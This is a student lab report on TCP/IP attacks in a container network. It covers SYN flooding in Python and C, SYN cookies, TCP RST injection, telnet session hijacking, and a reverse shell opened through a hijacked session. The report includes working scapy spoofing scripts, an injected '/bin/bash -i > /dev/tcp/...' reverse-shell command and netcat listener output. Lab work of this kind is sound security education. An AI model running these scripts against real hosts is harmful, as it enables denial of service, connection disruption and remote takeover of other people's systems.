Yewon Lee

CSCI 4250
Lab 03
TCP/IP Attack

Task 1 SYN Flooding Attack

A SYN flood constitutes a Denial of Service (DoS) attack wherein assailants inundate a target's TCP port with numerous SYN requests. Notably, these attackers do not intend to complete the 3-way handshake process. They achieve this by either employing spoofed IP addresses or refraining from progressing through the handshake steps. This onslaught is designed to overwhelm the victim's queue designated for half-open connections—those that have completed the SYN and SYN-ACK stages but are awaiting a final ACK. As this queue becomes full, the victim cannot accommodate any additional connections.

Before we began Task 1, we modified some information as follows for easier observation:

```
# export PS1="\w victim-10.9.0.5$ "
# export PS1="\w attacker-10.9.0.1$ "
# export PS1="\w user1-10.9.0.6$ "
```

To be able to use `sysctl` to change the system variables inside a container, the container was configured using the following command:

```
privileged: true
```

Task 1.1. *Launching the Attack Using Python*
During Task 1.1, we first modified `synflood.py` which sends out spoofed TCP SYN packets with randomly generated source IP address, source port, and sequence number. The modified code is provided below.

```
#!/bin/env python3

from scapy.all import IP, TCP, send
from ipaddress import IPv4Address
from random import getrandbits

ip = IP(dst="10.9.0.5")
tcp = TCP(dport=23, flags='S')
pkt = ip/tcp

while True:
```

```
    pkt[IP].src = str(IPv4Address(getrandbits(32))) # source iP
    pkt[TCP].sport = getrandbits(16) # source port
    pkt[TCP].seq = getrandbits(32) # sequence number
    send(pkt, verbose = 0)
```

We checked the current TCP connection:

```
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address       Foreign Address         State
tcp        0      0 0.0.0.0:23          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:41019    0.0.0.0:*               LISTEN
```

Then, we ran the program using:

```
    attacker-10.9.0.1$ synflood.py
```

and checked the current TCP connection after running the program:

```
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address       Foreign Address         State
tcp        0      0 0.0.0.0:23          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.11:41019    0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23         51.28.29.181:52204      SYN_RECV
tcp        0      0 10.9.0.5:23         144.159.54.170:59931    SYN_RECV
tcp        0      0 10.9.0.5:23         187.91.156.41:61074     SYN_RECV
    ......
```

While the attack is ongoing, we ran the following codes to find how many items are in the queue:

```
victim-10.9.0.5$ netstat -tna | grep SYN_RECV | wc -l
97
victim-10.9.0.5$ ss -n state syn-recv sport = :23 | wc -l
98
```

We then telnet as following:

```
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
7916656960e97 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
```

```
 * Documentation:   https://help.ubuntu.com
 * Management:      https://landscape.canonical.com
 * Support:         https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Nov 17 06:36:20 UTC 2023 from user1-10.9.0.6.net-10.9.0.0 on pts/2
```

The first telnet connection was successful; however, it took slightly longer than the next connection. This is because the first connection required the Python program to run. But after the first connection, the victim host remembered the first connection, allowing an instant connection.

Task 1.2. *Launch the Attack Using C*
Before beginning Task 1.2, we first cleared any existing connections:

```
victim-10.9.0.5$ ip tcp_metrics flush
```

Then, we compiled the code on the host machine:

```
$ gcc -o synflood synflood.c
$ chmod a+x synflood
```

After compilation, we ran the code:

```
attacker-10.9.0.1$ synflood 10.9.0.5 23
```

and checked the current TCP connection:

```
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address       Foreign Address        State
tcp        0      0 0.0.0.0:23          0.0.0.0:*              LISTEN
tcp        0      0 127.0.0.11:41019    0.0.0.0:*              LISTEN
tcp        0      0 10.9.0.5:23         111.55.219.82:27483    SYN_RECV
tcp        0      0 10.9.0.5:23         249.195.34.103:34881   SYN_RECV
tcp        0      0 10.9.0.5:23         148.11.56.119:17200    SYN_RECV
......
```

While the attack is ongoing, we ran the following codes to find how many items are in the queue:

```
victim-10.9.0.5$ netstat -tna | grep SYN_RECV | wc -l
97
victim-10.9.0.5$ ss -n state syn-recv sport = :23 | wc -l
98
```

We then telnet as following:

```
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
```

However, the connection was not successful.

Task 1.3. *Enable the SYN Cookie Countermeasure*
Before beginning Task 1.2, we first cleared any existing connections:

```
victim-10.9.0.5$ ip tcp_metrics flush
```

Then, we enabled SYN cookie mechanism by

```
victim-10.9.0.5$ sysctl -w net.ipv4.tcp_syncookies=1
net.ipv4.tcp_syncookies=1
```

and ran the program

```
attacker-10.9.0.1$ synflood 10.9.0.5 23
```

and checked the current TCP connection:

```
victim-10.9.0.5$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address       Foreign Address         State
tcp        0      0 127.0.0.11:34637    0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23          0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:23         55.22.243.45:18447      SYN_RECV
tcp        0      0 10.9.0.5:23         118.13.9.120:27841      SYN_RECV
tcp        0      0 10.9.0.5:23         32.34.55.0:57543        SYN_RECV
......
```

While the attack is ongoing, we ran the following codes to find how many items are in the queue:

```
victim-10.9.0.5$ netstat -tna | grep SYN_RECV | wc -l
128
victim-10.9.0.5$ ss -n state syn-recv sport = :23 | wc -l
129
```

We then telnet as following:

```
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
```

```
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:   https://help.ubuntu.com
 * Management:      https://landscape.canonical.com
 * Support:         https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

Note that even though the queue was full, the telnet connection was successful.

Task 2 TCP RST Attacks on `telnet` Connections

The TCP RST Attack has the capability to terminate a previously established TCP connection between two parties. For instance, in the scenario where users A and B have an active telnet connection (TCP), attackers can employ a RST packet with a spoofed source address, originating from A to B, thereby disrupting the ongoing connection. The success of this attack hinges on the precise construction of the TCP RST packet.

Before we began Task 2, we first checked the bridge name on the host machine:

```
$ ifconfig
br-88413fld34bf: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 10.9.0.1  netmask 255.255.255.0  broadcast 10.9.0.255
    inet6 fe80::42:65ff:fef4:634e  prefixlen 64  scopeid 0x20<link>
    ether 02:42:65:f4:63:4e  txqueuelen 0  (Ethernet)
    RX packets 4395661  bytes 193408492 (193.4 MB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 4821393  bytes 260362284 (260.3 MB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0
```

Using the information found, we modified *synRST.py* as below:

```
#!/usr/bin/env python3
from scapy.all import *
```

```
def spoof_pkt(pkt):
    ip = IP(src=pkt[IP].src, dst=pkt[IP].dst)
    tcp = TCP(sport=23, dport=pkt[TCP].dport, flags="R", seq=pkt[TCP].seq+1)
    pkt = ip/tcp
    ls(pkt)
    send(pkt, verbose=0)

f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf', filter=f, prn=spoof_pkt)
```

Then, we ran the program:

```
attacker-10.9.0.1$ synRST.py
```

and telnet as following:

```
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: sConnection closed by foreign host.
```

The telnet connection was directly interrupted and closed by foreign host.

Task 3 TCP Session Hijacking

The TCP Session Hijacking attack aims to seize control of an ongoing TCP connection (session) between two parties by introducing harmful elements. In the case of a telnet session, attackers have the potential to insert malicious commands (such as deleting a critical file) into the session, compelling victims to carry out these harmful instructions unwittingly.

In Task 3, we first modified `synSession.py` as below:

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack,
              ack=pkt[TCP].seq+1)
    data = "echo \"CSCI 4250 Lab 03\" >> ~/task3.out\n\0"
    pkt = ip/tcp/data
    ls(pkt)
    send(pkt, verbose=0)

f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf', filter=f, prn=spoof_pkt)
```

and telnet as follows:

```
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:   https://help.ubuntu.com
 * Management:      https://landscape.canonical.com
 * Support:         https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Nov 17 08:42:27 UTC 2023 from user1-10.9.0.6.net-10.9.0.0 on pts/2
```

The telnet connection was successful. After the successful telnet connection, we ran the program:

```
attacker-10.9.0.1$ synSession.py
```

To check the data from the attack:

```
victim-10.9.0.5$ cat /home/seed/task3.out
CSCI 4250 Lab 03
```

The program successfully wrote a file `task3.out` using data entered in `synSession.py`.

Task 4 Creating Reverse Shell using TCP Session Hijacking

When attackers inject commands into a victim's machine through TCP session hijacking, their goal extends beyond running a single command. They seek to establish a backdoor for convenient access and further damage. One common method is initiating a reverse shell from the compromised machine, providing the attacker with remote shell access.

In Task 4, we first modified `synReverse.py` as below:

```
#!/usr/bin/env python3
from scapy.all import *

def spoof_pkt(pkt):
    ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
    tcp = TCP(sport=pkt[TCP].dport, dport=23, flags="A", seq=pkt[TCP].ack,
              ack=pkt[TCP].seq+1)
    data = "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1\n\0"
    pkt = ip/tcp/data
    send(pkt, verbose=0)
```

```
f = f'tcp and src host 10.9.0.5'
pkt = sniff(iface='br-88413f1d34bf', filter=f, prn=spoof_pkt)
```

Then, we ran `netcat`, listening on port 9090:

```
attacker-10.9.0.1$ nc -lnv 9090
Listening on 0.0.0.0. 9090
```

and telnet as follows:

```
user1-10.9.0.6$ telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
22c45e0a11e6 login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:   https://help.ubuntu.com
 * Management:      https://landscape.canonical.com
 * Support:         https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Fri Nov 17 09:38:43 UTC 2023 from user1-10.9.0.6.net-10.9.0.0 on pts/3
```

After a successful telnet connection, we ran the program:

```
attacker-10.9.0.1$ synReverse.py
```

and ran `netcat`:

```
attacker-10.9.0.1$ nc -lnv 9090
Listening on 0.0.0.0 9090
Connection received on 10.9.0.5 42462
seed@22c45e0a11e6:~$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defaul qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
70: eth0@if71: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group defa
    link/ether 02:42:0a:09:00:05 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.9.0.5/24 brd 10.9.0.255 scope global eth0
       valid lft forever preferred_lft forever
```

The victim's shell was successfully obtained.